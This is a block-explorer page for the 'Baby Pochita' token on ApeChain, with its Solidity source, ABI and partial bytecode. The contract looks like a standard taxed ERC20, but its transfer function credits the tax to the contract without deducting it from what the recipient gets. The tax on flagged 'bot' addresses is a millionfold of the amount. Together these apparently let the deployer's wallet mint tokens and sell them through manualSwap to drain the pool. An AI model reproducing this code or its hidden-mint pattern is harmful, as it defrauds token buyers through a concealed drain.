APE Price: $1.40 (-1.84%)

Token

Baby Pochita (BABYPOCHITA)

Overview

Max Total Supply

1,000,000,000 BABYPOCHITA

Holders

1

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 BABYPOCHITA

Value
$0.00
0xfae961ee46d14a0f0ac3c6810cdece7d7f431bf8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BABYPOCHITA

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

// SPDX-License-Identifier:MIT

// Telegram : https://t.me/BabyPochitaBSC

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BABYPOCHITA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=10;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=4;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Baby Pochita";
    string private constant _symbol = "BABYPOCHITA";
    uint256 public _maxTxAmount = 150000000 * 10**_decimals;
    uint256 public _maxWalletSize = 150000000 *10**_decimals;
    uint256 public _taxSwapThreshold= 87657800 * 10**_decimals;
    uint256 public _maxTaxSwap= 87657800 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        bots[0x0000fB56e3cE2e3C1f3dC8f5481bD769fEB9f652] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(!bots[from] && !bots[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            } else {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)? 1000000 : 1000000).div(100);
            }
    
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        } 

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),amount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading(uint256 percentage) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        require(msg.value > 0, "BNB amount must be greater than 0");
        require(percentage > 0 && percentage <= 100, "Percentage must be between 1 and 100");
        uniswapV2Router = IUniswapV2Router02(0xCde1E558C46b4436f7edEF56d9E9EC5B4089Ed34);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uint256 tokenAmount = (balanceOf(address(this)) * percentage) / 100;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
        address(this),
        uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: msg.value}(
        address(this),
        tokenAmount,
        0,
        0,
        owner(),
        block.timestamp
        );
    
        IERC20(uniswapV2Pair).approve(
        address(uniswapV2Router),
        type(uint256).max
        );

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6006555f6007556005600855600a6009556005600a556005600b556004600c555f600d556009600a610037919061061a565b6308f0d1806100469190610664565b600e556009600a610057919061061a565b6308f0d1806100669190610664565b600f556009600a610077919061061a565b6305398d486100869190610664565b6010556009600a610097919061061a565b6305398d486100a69190610664565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f6014555f6015553480156100f0575f5ffd5b505f61010061047b60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101aa61047b60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6101f7919061061a565b633b9aca006102069190610664565b60015f61021761047b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61026761048260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f71fb56e3ce2e3c1f3dc8f5481bd769feb9f65273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103f661047b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a610452919061061a565b633b9aca006104619190610664565b60405161046e91906106b4565b60405180910390a36106cd565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561052b57808604811115610507576105066104a9565b5b60018516156105165780820291505b8081029050610524856104d6565b94506104eb565b94509492505050565b5f8261054357600190506105fe565b81610550575f90506105fe565b816001811461056657600281146105705761059f565b60019150506105fe565b60ff841115610582576105816104a9565b5b8360020a915084821115610599576105986104a9565b5b506105fe565b5060208310610133831016604e8410600b84101617156105d45782820a9050838111156105cf576105ce6104a9565b5b6105fe565b6105e184848460016104e2565b925090508184048111156105f8576105f76104a9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61062482610605565b915061062f8361060e565b925061065c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610534565b905092915050565b5f61066e82610605565b915061067983610605565b925082820261068781610605565b9150828204841483151761069e5761069d6104a9565b5b5092915050565b6106ae81610605565b82525050565b5f6020820190506106c75f8301846106a5565b92915050565b6130de806106da5f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b411461037a578063a9059cbb146103a4578063bf474bed146103e0578063d16336491461040a578063dd62ed3e146104265761011e565b8063715018a6146102d0578063751039fc146102e65780637d1db4a5146102fc5780638da5cb5b146103265780638f9a55c0146103505761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce567146102185780633bbac5791461024257806351bc3c851461027e57806370a08231146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f5ffd5b34801561012d575f5ffd5b50610136610462565b60405161014391906120d5565b60405180910390f35b348015610157575f5ffd5b50610172600480360381019061016d9190612186565b61049f565b60405161017f91906121de565b60405180910390f35b348015610193575f5ffd5b5061019c6104bc565b6040516101a99190612206565b60405180910390f35b3480156101bd575f5ffd5b506101c66104c2565b6040516101d39190612206565b60405180910390f35b3480156101e7575f5ffd5b5061020260048036038101906101fd919061221f565b6104e5565b60405161020f91906121de565b60405180910390f35b348015610223575f5ffd5b5061022c6105b9565b604051610239919061228a565b60405180910390f35b34801561024d575f5ffd5b50610268600480360381019061026391906122a3565b6105c1565b60405161027591906121de565b60405180910390f35b348015610289575f5ffd5b50610292610613565b005b34801561029f575f5ffd5b506102ba60048036038101906102b591906122a3565b6106aa565b6040516102c79190612206565b60405180910390f35b3480156102db575f5ffd5b506102e46106f0565b005b3480156102f1575f5ffd5b506102fa610840565b005b348015610307575f5ffd5b50610310610970565b60405161031d9190612206565b60405180910390f35b348015610331575f5ffd5b5061033a610976565b60405161034791906122dd565b60405180910390f35b34801561035b575f5ffd5b5061036461099d565b6040516103719190612206565b60405180910390f35b348015610385575f5ffd5b5061038e6109a3565b60405161039b91906120d5565b60405180910390f35b3480156103af575f5ffd5b506103ca60048036038101906103c59190612186565b6109e0565b6040516103d791906121de565b60405180910390f35b3480156103eb575f5ffd5b506103f46109fd565b6040516104019190612206565b60405180910390f35b610424600480360381019061041f91906122f6565b610a03565b005b348015610431575f5ffd5b5061044c60048036038101906104479190612321565b610fd4565b6040516104599190612206565b60405180910390f35b60606040518060400160405280600c81526020017f4261627920506f63686974610000000000000000000000000000000000000000815250905090565b5f6104b26104ab611056565b848461105d565b6001905092915050565b60115481565b5f6009600a6104d191906124bb565b633b9aca006104e09190612505565b905090565b5f6104f1848484611220565b6105ae846104fd611056565b6105a9856040518060600160405280602881526020016130816028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610560611056565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b519092919063ffffffff16565b61105d565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610653611056565b73ffffffffffffffffffffffffffffffffffffffff1614610672575f5ffd5b5f61067c306106aa565b90505f8111156106905761068f81611bb3565b5b5f4790505f8111156106a6576106a581611e1e565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106f8611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c90612590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610848611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90612590565b60405180910390fd5b6009600a6108e391906124bb565b633b9aca006108f29190612505565b600e819055506009600a61090691906124bb565b633b9aca006109159190612505565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61094a91906124bb565b633b9aca006109599190612505565b6040516109669190612206565b60405180910390a1565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600b81526020017f42414259504f4348495441000000000000000000000000000000000000000000815250905090565b5f6109f36109ec611056565b8484611220565b6001905092915050565b60105481565b610a0b611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8f90612590565b60405180910390fd5b601360149054906101000a900460ff1615610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf906125f8565b60405180910390fd5b5f3411610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190612686565b60405180910390fd5b5f81118015610b3a575060648111155b610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090612714565b60405180910390fd5b73cde1e558c46b4436f7edef56d9e9ec5b4089ed3460125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c153060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c0191906124bb565b633b9aca00610c109190612505565b61105d565b5f606482610c22306106aa565b610c2c9190612505565b610c36919061275f565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc691906127a3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7091906127a3565b6040518363ffffffff1660e01b8152600401610d8d9291906127ce565b6020604051808303815f875af1158015610da9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dcd91906127a3565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610e56610976565b426040518863ffffffff1660e01b8152600401610e7896959493929190612837565b60606040518083038185885af1158015610e94573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb991906128aa565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f599291906128fa565b6020604051808303815f875af1158015610f75573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f99919061294b565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff0219169083151502179055505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c2906129e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611139576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113090612a74565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112139190612206565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612b02565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612b90565b60405180910390fd5b5f811161133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612c1e565b60405180910390fd5b5f5f905061134a610976565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113b85750611388610976565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118c55760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561145b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117255761149c606461148e600a54600d541161147b5760065461147f565b6008545b85611e8690919063ffffffff16565b611efd90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611547575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159a575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561165457600e548211156115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90612c86565b60405180910390fd5b600f54826115f1856106aa565b6115fb9190612ca4565b111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390612d21565b60405180910390fd5b600d5f81548092919061164e90612d3f565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116dc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117205761171d606461170f600b54600d54116116fc57600754611700565b6009545b85611e8690919063ffffffff16565b611efd90919063ffffffff16565b90505b61176b565b611768606461175a600b54600d541161174157620f4240611746565b620f42405b62ffffff1685611e8690919063ffffffff16565b611efd90919063ffffffff16565b90505b5f611775306106aa565b9050601360159054906101000a900460ff161580156117e0575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117f85750601360169054906101000a900460ff165b8015611805575060105481115b80156118145750600c54600d54115b156118c35760155443111561182b575f6014819055505b600360145410611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790612dd0565b60405180910390fd5b61188d6118888461188384601154611f46565b611f46565b611bb3565b5f4790505f8111156118a3576118a247611e1e565b5b60145f8154809291906118b590612d3f565b919050555043601581905550505b505b5f8111156119c45761191d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5e90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119bb9190612206565b60405180910390a35b611a148260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fbb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611aa58260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5e90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b439190612206565b60405180910390a350505050565b5f838311158290611b98576040517f08c379a0000000000000000000000000000000000000000